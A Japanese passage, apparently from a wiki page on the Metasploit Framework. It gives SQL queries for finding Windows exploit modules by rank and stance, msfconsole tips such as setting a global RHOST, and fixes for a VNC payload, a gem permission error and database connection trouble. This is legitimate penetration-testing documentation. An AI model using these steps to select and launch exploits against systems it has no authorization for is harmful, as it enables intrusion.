FROM module_details;

module_platforms のプラットフォーム情報を含む、利用可能なモジュールの情報を表示:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;

Windows プラットフォームの全てのクライアント (aggressive) exploit を表示:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive';

2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND rank >= 500
AND disclosure_date >= TIMESTAMP '2013-1-1';

rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む:

SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive'
AND rank >= 500
order by target;

exploit の数によるプラットフォームの人気度

利用可能な platform の値と、利用可能な exploit の数を調べるには、psql から以下を実行:

SELECT name, count(*)
FROM module_platforms
GROUP BY name
ORDER BY count DESC;

起動時の ASCII バナーを無効化

バナーを無効化するには、-q/--quiet 引数を付けて msfconsole を実行してください:

$ msfconsole --quiet

セッションが変わっても変数の値を維持する

他のモジュールを選択したときや msfconsole を再起動したときに変数がリセットされるのが気に食わない場合、setg で変数をグローバルに設定してください。例:

msf > setg RHOST 192.168.56.102

トラブルシューティング

VNC ビューアでクリックできない

ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、ViewOnly 変数を false に設定するのを忘れています。この問題を修正するには、変数を false に設定してから exploit を再度実行してください:

msf > set ViewOnly false

cannot load such file -- robots (LoadError)

以下のようなエラーが表示される場合:

~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
    from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
    from ./msfconsole:48:in `<main>'

このエラーは robots.rb ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です (バグレポート を参照):

$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb

エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください:

# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb

db_connect が何もエラーを表示しないで失敗する

db_connect の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合:

[!] Database not connected or cache not built, using slow search

おそらく postgresql サービスが動いていません。

参照